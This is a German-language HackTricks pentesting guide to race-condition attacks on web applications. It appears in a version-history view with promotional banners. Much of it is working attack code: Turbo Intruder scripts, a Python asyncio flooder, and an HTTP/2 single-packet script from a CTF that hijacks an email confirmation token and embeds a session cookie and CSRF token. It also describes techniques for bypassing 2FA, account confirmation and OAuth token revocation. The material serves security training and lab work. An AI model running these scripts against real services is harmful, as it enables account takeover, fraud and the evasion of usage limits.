hacktricks/pentesting-web/race-condition.md

420 lines
23 KiB
Markdown
Raw Normal View History

# Rennbedingung
2022-04-28 16:01:33 +00:00
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-08-31 22:35:39 +00:00
\
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um mühelos **Workflows zu erstellen und zu automatisieren**, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.\
Heute Zugriff erhalten:
2022-08-31 22:35:39 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Null zum Profi mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
Andere Möglichkeiten, HackTricks zu unterstützen:
2023-12-31 01:25:17 +00:00
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
2024-02-10 15:36:32 +00:00
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
2022-04-28 16:01:33 +00:00
</details>
2024-02-06 03:10:38 +00:00
{% hint style="warning" %}
Für ein tiefes Verständnis dieser Technik lesen Sie den Originalbericht unter [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
{% endhint %}
## Verbesserung von Rennbedingungsangriffen
Das Hauptproblem bei der Ausnutzung von Rennbedingungen besteht darin, sicherzustellen, dass mehrere Anfragen gleichzeitig bearbeitet werden, mit **sehr geringen Unterschieden in ihren Verarbeitungszeiten - idealerweise weniger als 1 ms**.
2024-02-10 15:36:32 +00:00
Hier finden Sie einige Techniken zur Synchronisierung von Anfragen:
#### HTTP/2 Single-Paket-Angriff vs. HTTP/1.1 Letzte-Byte-Synchronisierung
* **HTTP/2**: Unterstützt das Senden von zwei Anfragen über eine einzelne TCP-Verbindung und verringert den Einfluss von Netzwerk-Jitter. Aufgrund von serverseitigen Variationen reichen jedoch zwei Anfragen möglicherweise nicht für einen konsistenten Rennbedingungsangriff aus.
* **HTTP/1.1 'Letzte-Byte-Synchronisierung'**: Ermöglicht das Vorsenden der meisten Teile von 20-30 Anfragen, wobei ein kleines Fragment zurückgehalten wird, das dann zusammen gesendet wird und gleichzeitig beim Server ankommt.
Die **Vorbereitung auf die Letzte-Byte-Synchronisierung** umfasst:
1. Senden von Headern und Body-Daten abzüglich des letzten Bytes, ohne den Stream zu beenden.
2024-02-10 15:36:32 +00:00
2. Pause von 100 ms nach dem initialen Senden.
3. Deaktivierung von TCP\_NODELAY zur Nutzung des Nagle-Algorithmus für das Stapeln von finalen Frames.
2024-02-10 15:36:32 +00:00
4. Pingen zur Aufwärmung der Verbindung.
Das nachfolgende Senden zurückgehaltener Frames sollte zu deren Ankunft in einem einzelnen Paket führen, was über Wireshark überprüfbar ist. Diese Methode gilt nicht für statische Dateien, die normalerweise nicht in RC-Angriffen involviert sind.
2024-02-10 15:36:32 +00:00
### Anpassung an die Serverarchitektur
Das Verständnis der Architektur des Ziels ist entscheidend. Front-End-Server können Anfragen möglicherweise unterschiedlich routen, was die Zeitplanung beeinflusst. Eine vorbeugende serverseitige Verbindungsaufwärmung durch belanglose Anfragen könnte die Zeitplanung von Anfragen normalisieren.
2024-02-10 15:36:32 +00:00
#### Umgang mit Sitzungsbasierter Sperrung
Frameworks wie der PHP-Sitzungshandler serialisieren Anfragen nach Sitzung und können Schwachstellen verschleiern. Die Verwendung unterschiedlicher Sitzungstoken für jede Anfrage kann dieses Problem umgehen.
#### Überwindung von Rate- oder Ressourcenbeschränkungen
Wenn die Verbindungsaufwärmung nicht wirksam ist, kann das absichtliche Auslösen von Verzögerungen durch Webserver-Raten- oder Ressourcenbeschränkungen durch eine Flut von Dummy-Anfragen den Ein-Paket-Angriff erleichtern, indem eine serverseitige Verzögerung induziert wird, die Rennbedingungen begünstigt.
2024-02-10 15:36:32 +00:00
## Angriffsbeispiele
* **Tubo Intruder - HTTP2 Single-Paket-Angriff (1 Endpunkt)**: Sie können die Anfrage an **Turbo Intruder** senden (`Erweiterungen` -> `Turbo Intruder` -> `An Turbo Intruder senden`), Sie können in der Anfrage den Wert, den Sie für das Brute-Forcing wünschen, ändern für **`%s`** wie in `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` und dann das **`examples/race-single-packer-attack.py`** aus dem Dropdown auswählen:
<figure><img src="../.gitbook/assets/image (4) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Wenn Sie **verschiedene Werte senden möchten**, könnten Sie den Code mit diesem ändern, der eine Wortliste aus der Zwischenablage verwendet:
```python
2024-02-10 15:36:32 +00:00
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')
```
{% hint style="warning" %}
Wenn die Website HTTP2 nicht unterstützt (nur HTTP1.1), verwenden Sie `Engine.THREADED` oder `Engine.BURP` anstelle von `Engine.BURP2`.
{% endhint %}
* **Tubo Intruder - HTTP2 single-packet attack (Mehrere Endpunkte)**: Falls Sie eine Anfrage an einen Endpunkt senden müssen und dann mehrere an andere Endpunkte, um die RCE auszulösen, können Sie das Skript `race-single-packet-attack.py` wie folgt ändern:
```python
def queueRequests(target, wordlists):
2024-02-10 15:36:32 +00:00
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)
# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0
'''
2024-02-10 15:36:32 +00:00
# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt
# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)
# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)
# send all the queued requests for this attempt
engine.openGate(currentAttempt)
```
* Es ist auch in **Repeater** über die neue Option '**Send group in parallel**' in Burp Suite verfügbar.
2024-02-10 15:36:32 +00:00
* Für **limit-overrun** könnten Sie einfach die **gleiche Anfrage 50 Mal** in der Gruppe hinzufügen.
* Für das **Verbindungsaufwärmen** könnten Sie **am Anfang** der **Gruppe** einige **Anfragen** zu einem nicht statischen Teil des Webservers hinzufügen.
* Um den Prozess **zwischen** der Verarbeitung **einer Anfrage und einer anderen** in 2 Unterzuständen zu **verzögern**, könnten Sie **zusätzliche Anfragen zwischen** beiden Anfragen hinzufügen.
* Für ein **Multi-Endpoint** RC könnten Sie die **Anfrage starten**, die **zum versteckten Zustand führt**, und dann **50 Anfragen** direkt danach senden, die **den versteckten Zustand ausnutzen**.
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
* **Automatisiertes Python-Skript**: Das Ziel dieses Skripts ist es, die E-Mail eines Benutzers zu ändern, während sie kontinuierlich überprüft wird, bis der Bestätigungstoken der neuen E-Mail an die letzte E-Mail gesendet wird (dies liegt daran, dass im Code ein RC gesehen wurde, bei dem es möglich war, eine E-Mail zu ändern, aber die Bestätigung an die alte E-Mail gesendet wurde, weil die Variable, die die E-Mail angibt, bereits mit der ersten befüllt war).\
Wenn das Wort "objetivo" in den empfangenen E-Mails gefunden wird, wissen wir, dass wir den Bestätigungstoken der geänderten E-Mail erhalten haben, und beenden den Angriff.
```python
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests
cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"
# change these headers
headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: """+cookie+"""
Content-Length: 112
"""
bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'
headersVerification= """Content-Length: 1
Cookie: """+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"
host = "94.237.56.46"
puerto =39697
url = "https://"+host+":"+str(puerto)+"/email/"
response = requests.get(url, verify=False)
while "objetivo" not in response.text:
urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"
responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one
Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)
print(responseReset.status_code)
h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)
h2_conn.setup_connection()
try_num = 100
stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)
all_headers_frames = [] # all headers frame + data frames which have not the last byte
all_data_frames = [] # all data frames which contain the last byte
for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)
all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)
# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)
# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)
h2_conn.send_bytes(temp_headers_bytes)
# wait some time
sleep(0.1)
# send ping frame to warm up connection
h2_conn.send_ping_frame()
# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)
resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()
print('---')
sleep(3)
h2_conn.close_connection()
response = requests.get(url, verify=False)
```
### Roh BF
Vor der vorherigen Forschung wurden einige Payloads verwendet, die einfach versuchten, die Pakete so schnell wie möglich zu senden, um eine RC zu verursachen.
2024-02-10 15:36:32 +00:00
* **Repeater:** Überprüfen Sie die Beispiele aus dem vorherigen Abschnitt.
* **Intruder:** Senden Sie die **Anfrage** an **Intruder**, setzen Sie die **Anzahl der Threads** im **Optionsmenü auf 30** und wählen Sie als Payload **Null-Payloads** aus und generieren Sie **30.**
* **Turbo Intruder**
```python
def queueRequests(target, wordlists):
2024-02-10 15:36:32 +00:00
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
2024-02-10 15:36:32 +00:00
table.add(req)
```
* **Python - asyncio**
2022-10-11 22:51:42 +00:00
```python
import asyncio
import httpx
async def use_code(client):
2024-02-10 15:36:32 +00:00
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text
2022-10-11 22:51:42 +00:00
async def main():
2024-02-10 15:36:32 +00:00
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))
2022-10-11 22:51:42 +00:00
2024-02-10 15:36:32 +00:00
# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)
2022-10-11 22:51:42 +00:00
2024-02-10 15:36:32 +00:00
# Print results
for r in results:
print(r)
2024-02-10 15:36:32 +00:00
# Async2sync sleep
await asyncio.sleep(0.5)
print(results)
2024-02-10 15:36:32 +00:00
asyncio.run(main())
```
## **RC Methodologie**
2024-02-10 15:36:32 +00:00
### Limit-Überlauf / TOCTOU
Dies ist die grundlegendste Art von Race Condition, bei der **Schwachstellen** auftreten, die die Anzahl der Male begrenzen, die eine Aktion ausgeführt werden kann. Zum Beispiel das mehrfache Verwenden desselben Rabattcodes in einem Webshop. Ein sehr einfaches Beispiel findet sich in [**diesem Bericht**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) oder in [**diesem Bug**](https://hackerone.com/reports/759247).
Es gibt viele Variationen dieses Angriffstyps, darunter:
2024-02-10 15:36:32 +00:00
* Mehrfaches Einlösen einer Geschenkkarte
* Mehrfaches Bewerten eines Produkts
* Abheben oder Überweisen von Geld über Ihrem Kontostand
2024-02-10 15:36:32 +00:00
* Wiederverwendung einer einzelnen CAPTCHA-Lösung
* Umgehen einer Anti-Brute-Force-Ratenbegrenzung
2024-02-10 15:36:32 +00:00
### **Versteckte Unterzustände**
Das Ausnutzen komplexer Race Conditions beinhaltet oft die Nutzung kurzer Gelegenheiten, um mit versteckten oder **unerwünschten maschinellen Unterzuständen** zu interagieren. So gehen Sie vor:
2024-02-10 15:36:32 +00:00
1. **Potenzielle versteckte Unterzustände identifizieren**
* Beginnen Sie damit, Endpunkte zu ermitteln, die kritische Daten wie Benutzerprofile oder Passwortzurücksetzungsprozesse ändern oder mit ihnen interagieren. Konzentrieren Sie sich auf:
* **Speicherung**: Bevorzugen Sie Endpunkte, die serverseitige persistente Daten manipulieren, gegenüber denen, die Daten clientseitig verarbeiten.
* **Aktion**: Suchen Sie nach Operationen, die vorhandene Daten ändern, da diese eher ausnutzbare Bedingungen schaffen als solche, die neue Daten hinzufügen.
* **Schlüsselung**: Erfolgreiche Angriffe beinhalten normalerweise Operationen, die auf demselben Identifikator basieren, z. B. Benutzername oder Zurücksetzungstoken.
2024-02-10 15:36:32 +00:00
2. **Erste Sondierung durchführen**
* Testen Sie die identifizierten Endpunkte mit Race-Condition-Angriffen und beobachten Sie Abweichungen von den erwarteten Ergebnissen. Unerwartete Antworten oder Änderungen im Anwendungsverhalten können auf eine Schwachstelle hinweisen.
3. **Schwachstelle demonstrieren**
* Reduzieren Sie den Angriff auf die minimale Anzahl von Anfragen, die benötigt werden, um die Schwachstelle auszunutzen, oft nur zwei. Dieser Schritt erfordert möglicherweise mehrere Versuche oder Automatisierung aufgrund des präzisen Timing.
### Zeitkritische Angriffe
Präzision beim Zeitpunkt von Anfragen kann Schwachstellen aufdecken, insbesondere wenn vorhersehbare Methoden wie Zeitstempel für Sicherheitstoken verwendet werden. Beispielsweise könnten durch die Generierung von Passwortzurücksetzungstoken basierend auf Zeitstempeln identische Tokens für gleichzeitige Anfragen ermöglicht werden.
2024-02-10 15:36:32 +00:00
**Zum Ausnutzen:**
* Verwenden Sie präzises Timing, wie bei einem Einzelpaketangriff, um gleichzeitige Passwortzurücksetzungsanfragen zu stellen. Identische Tokens deuten auf eine Schwachstelle hin.
2024-02-10 15:36:32 +00:00
**Beispiel:**
* Fordern Sie gleichzeitig zwei Passwortzurücksetzungstoken an und vergleichen Sie sie. Übereinstimmende Tokens deuten auf einen Fehler in der Token-Generierung hin.
**Überprüfen Sie dieses** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **um dies auszuprobieren.**
2024-02-10 15:36:32 +00:00
## Fallstudien zu versteckten Unterzuständen
### Bezahlen & Artikel hinzufügen
Überprüfen Sie dieses [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation), um zu sehen, wie Sie in einem Geschäft **bezahlen** und einen zusätzlichen Artikel hinzufügen können, für den Sie nicht bezahlen müssen.
2024-02-10 15:36:32 +00:00
### Andere E-Mails bestätigen
Die Idee ist es, eine E-Mail-Adresse zu **überprüfen** und sie gleichzeitig in eine andere zu ändern, um herauszufinden, ob die Plattform die neue geänderte Adresse überprüft.
### E-Mail zu 2 E-Mail-Adressen Cookie-basiert ändern
Laut [**dieser Forschung**](https://portswigger.net/research/smashing-the-state-machine) war Gitlab auf diese Weise anfällig für eine Übernahme, da es den **E-Mail-Bestätigungstoken einer E-Mail an die andere E-Mail senden könnte**.
**Überprüfen Sie dieses** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **um dies auszuprobieren.**
2024-02-10 15:36:32 +00:00
### Versteckte Datenbankzustände / Bestätigungsumgehung
Wenn **2 verschiedene Schreibvorgänge** verwendet werden, um **Informationen** in einer **Datenbank hinzuzufügen**, gibt es einen kurzen Zeitraum, in dem **nur die erste Daten** in die Datenbank geschrieben wurden. Beispielsweise könnten bei der Erstellung eines Benutzers der **Benutzername** und das **Passwort** geschrieben werden und dann das Token zur Bestätigung des neu erstellten Kontos. Dies bedeutet, dass für kurze Zeit das **Token zur Bestätigung eines Kontos null ist**.
Daher könnte das **Registrieren eines Kontos und das Senden mehrerer Anfragen mit einem leeren Token** (`token=` oder `token[]=` oder einer anderen Variation) zur sofortigen Bestätigung des Kontos ermöglichen, ein Konto zu bestätigen, bei dem Sie die E-Mail nicht kontrollieren.
**Überprüfen Sie dieses** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **um dies auszuprobieren.**
2024-02-10 15:36:32 +00:00
### 2FA umgehen
Der folgende Pseudocode ist anfällig für eine Race Condition, weil in einem sehr kurzen Zeitraum die **2FA nicht durchgesetzt wird**, während die Sitzung erstellt wird:
```python
session['userid'] = user.userid
if user.mfa_enabled:
2024-02-10 15:36:32 +00:00
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form
```
2024-02-10 15:36:32 +00:00
### OAuth2 ewige Persistenz
2024-02-10 15:36:32 +00:00
Es gibt mehrere [**OAuth-Anbieter**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers). Diese Dienste ermöglichen es Ihnen, eine Anwendung zu erstellen und Benutzer zu authentifizieren, die der Anbieter registriert hat. Um dies zu tun, muss der **Client** Ihrer Anwendung erlauben, auf einige ihrer Daten innerhalb des **OAuth-Anbieters** zuzugreifen.\
Also, bis hierhin nur ein üblicher Login mit Google/LinkedIn/GitHub... wo Sie mit einer Seite aufgefordert werden, die besagt: "_Anwendung \<InsertCoolName> möchte auf Ihre Informationen zugreifen, möchten Sie dies zulassen?_"
2022-08-31 22:35:39 +00:00
#### Race Condition in `authorization_code`
Das **Problem** tritt auf, wenn Sie es **akzeptieren** und automatisch einen **`authorization_code`** an die bösartige Anwendung senden. Dann missbraucht diese **Anwendung eine Race Condition im OAuth-Dienstanbieter, um mehr als ein AT/RT** (_Authentication Token/Refresh Token_) aus dem **`authorization_code`** für Ihr Konto zu generieren. Grundsätzlich wird sie den Umstand ausnutzen, dass Sie der Anwendung erlaubt haben, auf Ihre Daten zuzugreifen, um **mehrere Konten zu erstellen**. Dann, wenn Sie der Anwendung **die Erlaubnis entziehen, auf Ihre Daten zuzugreifen, wird ein Paar AT/RT gelöscht, aber die anderen werden weiterhin gültig sein**.
2022-08-31 22:35:39 +00:00
#### Race Condition in `Refresh Token`
Sobald Sie einen gültigen RT erhalten haben, könnten Sie versuchen, ihn zu missbrauchen, um mehrere AT/RT zu generieren, und **selbst wenn der Benutzer die Berechtigungen** für die bösartige Anwendung zum Zugriff auf seine Daten **widerruft, werden mehrere RTs weiterhin gültig sein**.
## **RC in WebSockets**
In [**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\_PoC) finden Sie einen PoC in Java, um WebSocket-Nachrichten **parallel** zu senden und **Race Conditions auch in WebSockets** auszunutzen.
2024-02-10 15:36:32 +00:00
## Referenzen
* [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247)
* [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html)
* [https://hackerone.com/reports/55140](https://hackerone.com/reports/55140)
* [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
* [https://portswigger.net/web-security/race-conditions](https://portswigger.net/web-security/race-conditions)
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
Andere Möglichkeiten, HackTricks zu unterstützen:
2023-12-31 01:25:17 +00:00
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben** oder **HackTricks im PDF-Format herunterladen** möchten, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
2024-02-10 15:36:32 +00:00
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen.
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-08-31 22:35:39 +00:00
\
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um mithilfe der weltweit **fortschrittlichsten Community-Tools** **Workflows zu erstellen und zu automatisieren**.\
Heute noch Zugriff erhalten:
2022-04-28 16:01:33 +00:00
2022-08-31 22:35:39 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}